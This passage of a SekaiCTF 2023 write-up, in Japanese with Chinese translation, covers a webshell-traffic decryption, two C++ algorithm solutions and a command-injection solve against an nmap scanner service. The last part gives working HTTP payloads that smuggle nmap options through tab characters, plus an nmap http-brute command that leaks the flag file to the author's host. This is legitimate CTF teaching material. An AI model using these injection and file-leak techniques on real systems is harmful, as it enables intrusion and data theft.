dzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$eval_code = "";

$encoded_array = explode(",", $encoded);
foreach ($encoded_array as $encoded_tip) {
    openssl_private_decrypt(base64_decode($encoded_tip), $encoded_tip, $private_key);
    $eval_code .= $encoded_tip;
}

$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";

openssl_private_decrypt($first_half, $decrypted, $pvk1);
echo $decrypted;

これで通信を復号化していくと、tcp.stream eq 110の入力にフラグが含まれていた。
解密通信时, tcp.stream eq 110 输入包含一个标志。

echo 'SEKAI{h4rd_2_d3t3ct_w3bsh3ll}'

[PPC] Purple Sheep And The Apple Rush
[ PPC] 紫羊与苹果热潮

N頂点の無向木が与えられる。 给出了一个 N 个顶点的无向树。
頂点毎にパラメタL[i]が与えられるが、葉かそうでないかで意味合いが異なる。
为每个顶点给出一个参数 L[i],但含义因是否是叶子而异。

葉であれば、L[i]は隠された金のリンゴの数を指し、最初に訪れた時点でその金のリンゴをすべて得ることができる
如果是一片叶子,L[i]指的是隐藏的金苹果的数量,第一次访问就可以得到所有的金苹果。

葉でなければ、金のリンゴ1個で、その町の「通行券」が帰る。その通行券にはL[i]の数が書かれていて、葉でない町を訪れるたびにL[i]個の金のリンゴを支払う必要がある。
如果不是一片叶子,一个金苹果将归还小镇的“通行证”。 通票上写着L[i]的编号,每次访问一个不是叶子的城镇时,您都必须支付L[i]金苹果。

なお、この「通行券」は金のリンゴ1個で買い替えることが可能。
这个“通行证”可以用一个金苹果代替。

各町について、その町を始点として任意の葉まで遷移可能な町を任意回数移動したときの「支払ったリンゴ – 得たリンゴ」の最小値をそれぞれ答えよ。
对于每个城镇,从该城镇移动到可以过渡到任何叶子的任意数量的城镇时,回答“苹果支付 – 苹果获得”的最小值。

移動のパスの途中で葉は選択できず、パスの最後のみ葉が許される。
不能在移动路径的中间选择叶子,并且只允许路径的最后一片叶子。

(このルールだと、葉が始点であれば通行券は買えないので、移動できず金のリンゴを回収して終了となる)
(按照这个规则,如果叶子是起点,你不能买通行证,所以你不能移动和收集金苹果完成。

dp[cu] := 町cuからスタートしたとしたときの「支払ったリンゴ – 得たリンゴ」の最小値
dp[cu] := 从城镇 Cu 出发时“支付的苹果 – 获得的苹果”的最小值

まずは、葉についてすべて更新しておく。 首先,让我们更新有关叶子的所有内容。
dp[cu] = -L[cu]
戦略を考えると使えそうな性質が出てくる。  如果您考虑该策略,它将具有可以使用的属性。
通行券を取り替えるというのが戦略の1つになってくるが、通行券を取り換える選択をするのは、「書かれている値が小さい通行券の場合のみ」である。
其中一种策略是更换通行证,但更换通行证的选择是“仅适用于书面价值较小的通行证”。

書かれている値が同じ、もしくは、大きい通行券に変更するメリットが見当たらない。
我认为更改为具有相同或更大价值的票证没有任何价值。

なので、町cuで通行券を買った場合に、取りうる選択肢としては、葉に向かうか、通行券に書かれている値のより小さい町toに向かって通行券を買い替えるかの二択になる。
因此,如果您在城镇CU购买通行证,则有两种选择:去叶子或购买前往较小城镇TO的新通行证。

これを使うと、dpが更新可能。  有了这个,DP可以更新。

dp[cu] = min{to:= 町cuよりも通行券に書かれている値が小さい町to}{1LL + (町cuと町toの距離) * L[cu] + dp[to]}
dp[cu] = min{to:= 通票值小于城镇 cu}{1LL + (城镇 cu 和城镇到之间的距离) * l[cu] + dp[to]}

町toで通行券を買い替えた後の最適な動きは町toからスタートした状況と全く同じであるため、それ以降の計算が既に実施されていればdpによってメモ化された結果を再利用することができる。
由于在Town TO更换通行证后的最佳移动与从Town TO开始的情况完全相同,因此如果已经进行了后续计算,则可以重复使用DP记忆的结果。

葉のdp計算を実施した後の頂点はL[i]が小さい順に行えば、全ての計算結果がメモ化されていることになり、dpとして適切に計算ができる。
如果叶子dp计算后的顶点按照最小L[i]的顺序进行,则所有计算结果将被记忆,并且可以适当地计算dp。

…ということが言いたいのが上の式。  … 这就是我想在上面的公式中说的。

(町cuと町toの距離)の部分を高速に計算できるように前計算しておく必要がある。
有必要提前计算,以便可以高速计算零件(镇cu和镇之间的距离)。

自分はHL分解のライブラリにその機能があるので流用したが、LCAとダブリングでやってもいいし、
我转移了它,因为它在 HL 分解库中具有该功能,但我可以用 LCA 和加倍来做到这一点,

今回はO(N2)が通りそうなので、事前に幅優先探索しても間に合う気もする。(未確認)
这次,O(N 2 )似乎通过了,所以我觉得即使您提前搜索宽度优先级,它也会及时。 (未确认)

あと、自分の実装では正確には「to:= 町cuよりも通行券に書かれている値が小さいか同じ町to」
此外,在我的实现中,它恰恰是“to:=通票上写的值小于城镇或与城镇cu相同”

という感じの実装になっていて少し効率が悪いが、最終結果には影響がない。
它有点低效,但不影响最终结果。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
struct HLDecomposition {
    vector<set<int>> g; vector<int> vid, head, heavy, parent, depth, inv, in, out;
    HLDecomposition() {} HLDecomposition(int n) { init(n); }
    void init(int n) {
        g.resize(n); vid.resize(n, -1); head.resize(n); heavy.resize(n, -1);
        parent.resize(n); depth.resize(n); inv.resize(n); in.resize(n); out.resize(n);
    }
    void add(int u, int v) { g[u].insert(v); g[v].insert(u); } void build() { dfs(0, -1); t = 0; dfs_hld(); }

    int dfs(int curr, int prev) {
        parent[curr] = prev; int sub = 1, max_sub = 0;
        heavy[curr] = -1;
        for (int next : g[curr]) if (next != prev) {
            depth[next] = depth[curr] + 1;
            int sub_next = dfs(next, curr); sub += sub_next;
            if (max_sub < sub_next) max_sub = sub_next, heavy[curr] = next;
        }return sub;
    }

    int t = 0;
    void dfs_hld(int v = 0)
    {
        vid[v] = in[v] = t;
        t++;
        inv[in[v]] = v;
        if (0 <= heavy[v]) {
            head[heavy[v]] = head[v];
            dfs_hld(heavy[v]);
        }
        for (auto u : g[v]) if(depth[v] < depth[u])  if (u != heavy[v]) {
            head[u] = u;
            dfs_hld(u);
        }
        out[v] = t;
    }


    void foreach(int u, int v, function<void(int, int)> f) { // [x,y]
        if (vid[u] > vid[v]) swap(u, v); f(max(vid[head[v]], vid[u]), vid[v]);
        if (head[u] != head[v]) foreach(u, parent[head[v]], f);
    }
    int ancestor(int from, int times) {
        while (true) {
            if (depth[head[from]] > depth[from] - times) {
                times -= depth[from] - depth[head[from]] + 1; if (head[from] == 0)return -1; from = parent[head[from]];
            }
            else return inv[vid[from] - times];
        }
    }
    int lca(int u, int v) {
        if (vid[u] > vid[v]) swap(u, v); if (head[u] == head[v]) return u;
        return lca(u, parent[head[v]]);
    }
    int distance(int u, int v) { return depth[u] + depth[v] - 2 * depth[lca(u, v)]; }
    int child(int parent, int child, int times) {
        assert(depth[parent]<depth[child]);
        int d = distance(parent, child); assert(times - 1 <= d); return ancestor(child, d - times);
    }
    int go(int from, int to, int times) {
        int d = distance(from, to); assert(0 <= times and times <= d);
        int lc = lca(from, to); if (lc == to)return ancestor(from, times); if (lc == from)return child(from, to, times);
        int dd = distance(from, lc); if (dd <= times)return go(lc, to, times - dd); return ancestor(from, times);
    }
};
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/






int N;
ll L[4010];
ll dp[4010];
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> L[i];

    HLDecomposition hld(N);
    rep(i, 0, N - 1) {
        int a, b; cin >> a >> b;
        a--; b--;
        hld.add(a, b);
    }
    hld.build();

    vector<int> done;
    vector<pair<ll,int>> order;
    rep(i, 0, N) {
        if(hld.g[i].size() == 1) {
            done.push_back(i);
            dp[i] = -L[i];
        } else {
            order.push_back(make_pair(L[i], i));
        }
    }
    sort(all(order));
    fore(p, order) {
        ll l = p.first;
        int cu = p.second;

        dp[cu] = infl;
        fore(to, done) chmin(dp[cu], 1LL + hld.distance(cu, to) * L[cu] + dp[to]);
        done.push_back(cu);
    }
    rep(i, 0, N) {
        if(i) printf(" ");
        printf("%lld", dp[i]);
    }
    printf("\n");
}

[PPCWiki Game [ PPC]维基游戏

有向グラフが与えられて始点となる頂点から終点となる頂点へ6回以下の遷移で移動可能ならYESで、そうでないならNOと答える。
给定一个有向图,如果它可以从起始顶点移动到具有六个或更少转换的结束顶点,则回答“是”,否则回答“否”。

幅優先探索で、最短距離を特定可能。  宽度优先搜索允许您识别最短距离。

#include<bits/stdc++.h>
#define rep(i,a,b) for(int i=a;i<b;i++)
#define rrep(i,a,b) for(int i=a;i>=b;i--)
#define fore(i,a) for(auto &i:a)
#define all(x) (x).begin(),(x).end()
//#pragma GCC optimize ("-O3")
using namespace std; void _main(); int main() { cin.tie(0); ios::sync_with_stdio(false); _main(); }
typedef long long ll; const int inf = INT_MAX / 2; const ll infl = 1LL << 60;
template<class T>bool chmax(T& a, const T& b) { if (a < b) { a = b; return 1; } return 0; }
template<class T>bool chmin(T& a, const T& b) { if (b < a) { a = b; return 1; } return 0; }
//---------------------------------------------------------------------------------------------------
/*---------------------------------------------------------------------------------------------------
            ∧_∧
      ∧_∧  (´<_` )  Welcome to My Coding Space!
     ( ´_ゝ`) /  ⌒i     @hamayanhamayan
    /   \     | |
    /   / ̄ ̄ ̄ ̄/  |
  __(__ニつ/     _/ .| .|____
     \/____/ (u ⊃
---------------------------------------------------------------------------------------------------*/

int n, m;
vector<int> E[1010];
int src, dst;

int minimum[1010];

#define YES "YES"
#define NO "NO"
string solve() {
    cin >> n >> m;
    rep(i, 0, n) E[i].clear();
    rep(i, 0, m) {
        int u, v; cin >> u >> v;
        E[u].push_back(v);
    }
    cin >> src >> dst;

    rep(i, 0, n) minimum[i] = inf;

    queue<int> que;
    que.push(src);
    minimum[src] = 0;
    while(!que.empty()) {
        int cu = que.front();
        que.pop();

        fore(to, E[cu]) if(minimum[to] == inf) {
            minimum[to] = minimum[cu] + 1;
            que.push(to);
        }
    }

    return minimum[dst] <= 6 ? YES : NO;
}

void _main() {
    int T; cin >> T;
    rep(t, 0, T) cout << solve() << endl;
}

[Web] Scanner Service [网站] 扫描仪服务

以下の部分が攻撃対象のメインの処理。 以下部分是攻击目标的主要处理。

  post '/' do
    input_service = escape_shell_input(params[:service])
    hostname, port = input_service.split ':', 2
    begin
      if valid_ip? hostname and valid_port? port
        # Service up?
        s = TCPSocket.new(hostname, port.to_i)
        s.close
        # Assuming valid ip and port, this should be fine
        @scan_result = IO.popen("nmap -p #{port} #{hostname}").read
      else
        @scan_result = "Invalid input detected, aborting scan!"
      end
    rescue Errno::ECONNREFUSED
      @scan_result = "Connection refused on #{hostname}:#{port}"
    rescue => e
      @scan_result = e.message
    end

    erb :'index'
  end

POST /で入力したhostnameとportがpopenに埋め込まれて実行される。
POST / 输入的主机名和端口嵌入在 popen 中并执行。

コマンドインジェクションをする問題。  命令注入问题。
以下のような制約が付いている。  它具有以下限制:

  • hostnameは正規表現 /\A((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})\z/を満たす必要がある
    主机名必须 /\A((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})\z/ 满足正则表达式

  • portは(1..65535).cover?(input.to_i)を満たす必要がある
    端口必须 (1..65535).cover?(input.to_i) 满足

  • TCPSocket.new(hostname, port.to_i)で接続できなければいけない   TCPSocket.new(hostname, port.to_i) 必须能够连接
    • とりあえず、127.0.0.1:1337は接続可能なので、これを利用する
      目前,127.0.0.1:1337 是可连接的,因此请使用此
  • escape_shell_inputによる入力バリデーション
    使用escape_shell_input进行输入验证

    • $`"\\|&;<>()'\n*は直前に\が挿入されてサニタイズされる
      $`"\\|&;<>()'\n* 在之前 \ 立即插入并消毒
    • だが、逆にいえば,.{}#?%-=^~[]@:/_!あたりは使える
      但是,反过来 ,.{}#?%-=^~[]@:/_! ,它可以被使用。

nmapのオプションに色々差し込んでやるんだろうと想像して、RCEとLFIの両方の方向性で考える。
想象一下,将各种选项插入nmap,并同时考虑RCE和LFI的方向。

フラグが以下のように、RCEしないといけないようにランダム列がくっついているが、
标志如下,并附加随机列,因此它们必须是 RCE,

シェルの補完機能が使えそうな場面では/flag-????????????????????????????????.txtとすればいい。
在可以使用shell的完成功能的情况下,应该 /flag-????????????????????????????????.txt 这样做。

RUN mv /flag.txt /flag-$(head -n 1000 /dev/random | md5sum | head -c 32).txt
RUN mv /flag.txt /flag-$(head -n 1000 /dev/random | md5sum | head -c 32).txt

まず、色々実験するとタブが空白の代わりに機能することが分かる。
首先,如果您进行大量实验,您会发现选项卡而不是空白有效。

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-without-space

これで空白が実質使えるようになったので自由にnmapのオプションを差し込むことができるようになった。
现在空白实际上可用,您可以自由插入 nmap 选项。

それをもとにいろいろやると、配布されたDockerfileを使って起動した手元の環境では以下のようにするとフラグが得られた。
当我基于此做各种事情时,我在手头的环境中得到了一个标志,该标志是使用分布式 Dockerfile 启动的,如下所示。

  1. nmap -i /flag-????????????????????????????????.txt -oN /app/public/stylesheets/flagを動かす感じで以下のように差し込む。
    nmap -i /flag-????????????????????????????????.txt -oN /app/public/stylesheets/flag 按如下方式插入,就像移动

    -iでファイルを読み込むが失敗して出力に出てくるがその先が標準エラー出力で読めないので、-oNでpublicな所に吐き出している
    -i 我用它读取了文件,但它失败了,它出现在输出中,但目标是标准错误输出并且无法读取,所以我 -oN 把它吐到公共场所
POST / HTTP/1.1
Host: localhost:4444
Content-Length: 191
Content-Type: application/x-www-form-urlencoded
Connection: close

service=127.0.0.1%3a1337%09-i%09%2fflag-%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f.txt%09-oN%09%2fapp%2fpublic%2fstylesheets%2fflag%09%23
  1. GET /stylesheets/flagでフラグが得られる  GET /stylesheets/flag 标志是用

が、本番でやってみると動かない…  但是当我在生产中尝试它时,它不起作用……
書き込み先に制限がかかっている雰囲気がある。  有一种写作目的地受到限制的氛围。

しょうがないので、別の経路を探すかーとやっているとNSEが思いついた。
我忍不住,所以我试图找到另一条路线,NSE想出了这个主意。

nmapでプラグイン的にスクリプトを動かす機能。
在 nmap 中运行脚本插件的能力。

パスワードの総当たり攻撃ができたりするので、その辞書に該当ファイルを渡せば外部にそれを移せるのでは?という作戦。
既然可以对密码进行暴力攻击,那么通过将相应的文件传递给字典,是否可以将其转移到外部? 这就是策略。

nmap -p 80 --script http-brute --script-args passdb=/flag-80ec2f3fd73d2a2ec00c11824062ee31.txt [my-ip]

こんな感じにするとフラグが得られたが、この方法だと、/flag-????????????????????????????????.txtが使えない。
如果这样做,则会得到一个标志,但使用此方法,则无法使用 /flag-????????????????????????????????.txt .

うーーーーんと思ってやけくそに以下のようにやってみると、標準出力にフラグが出てきた。
嗯,我想了想,突然尝试了以下方法,标准输出上出现了一个标志。

nmap -p 80 --script http-brute --script-args-file /flag-80ec2f3fd73d2a2ec00c11824062ee31.txt [my-ip]

おっ、と思い本番で以下を実行するとフラグ獲得できた。
哦,我认为如果我在生产中执行以下内容,我就能获得标志。

POST / HTTP/1.1
Host: [REDACTED]:[REDACTED]
Content-Length: 186
Content-Type: application/x-www-form-urlencoded
Connection: close

service=127.0.0.1%3a1337%09--script%09http-brute%09--script-args-file%09%2fflag-%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f%3f.txt%09%23

フラグの中身を見るとRCEできる想定解があるっぽい。
查看标志的内容,似乎有一个假定的解决方案可以是 RCE。

開始してから半日立っていないのに50 solves以上あったので、もっと直接的な(シンプルな)RCEの方法があるんだろうと思っていたが…
自从我开始以来,我没有站半天,但我有 50 多个解决方案,所以我想知道是否有更直接(简单)的方法来做 RCE……

これはコンテスト後の楽しみとしておこう。  让我们在比赛结束后保持乐趣。

原文始发于hamayanhamayan:SekaiCTF 2023 Writeup

版权声明:admin 发表于 2023年8月29日 上午10:09。
转载请注明:SekaiCTF 2023 Writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...